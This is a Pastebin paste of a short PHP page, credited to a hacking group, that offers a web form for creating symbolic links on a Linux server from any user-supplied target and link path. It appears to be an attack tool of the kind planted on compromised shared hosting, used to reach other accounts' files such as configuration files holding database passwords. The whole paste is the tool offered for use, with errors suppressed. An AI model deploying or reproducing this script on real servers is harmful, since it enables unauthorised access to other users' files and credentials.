lehieuit

symlinkphp.php

Apr 4th, 2012
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. <HTML>
  2. <Head>
  3. <Title>.:: PHP Symlink For Linux Server ::. [ C0d3d By Emperor Nariman >>> Ajax Security Team ]</Title>
  4. <style type="text/css">
  5. body{
  6. background-color:#000000
  7. }
  8. h1{
  9. color:#FF0000
  10. }
  11. h3{
  12. color:#FF0000
  13. }
  14. p{
  15. color:#ffffff;
  16. font-weight:bold;
  17. }
  18. </style>
  19. </Head>
  20. <Body>
  21. <center><h1>.:: C0d3d By Emperor Nariman ::.</h1></center>
  22. <br><center><h3>.:: HttP://www.AjaXTm.Com ::.</h3></center>
  23. <br><br>
  24. <form method="POST" action="<?php print $PHP_SELF?>">
  25. <center><p>Target Path:<input type="text" name="target" size="50"></p></center>
  26. <br><center><p>Link Path:<input type="text" name="link" size="50"></p></center>
  27. <br><center><input type="submit" name="submit" value="Symlink"></center>
  28. <?php
  29. $target=$_POST['target'];
  30. $link=$_POST['link'];
  31. if(!$target&&!$link){
  32. echo"";
  33. exit;
  34. }
  35. if(@symlink($target,$link)){
  36. echo"<p>Link Created At $link</p>";
  37. }
  38. else{
  39. echo"<p>Symlink Failed !</p>";
  40. }
  41. ?>
  42. </Body>
  43. </HTML>
Advertisement
Add Comment
Please, Sign In to add comment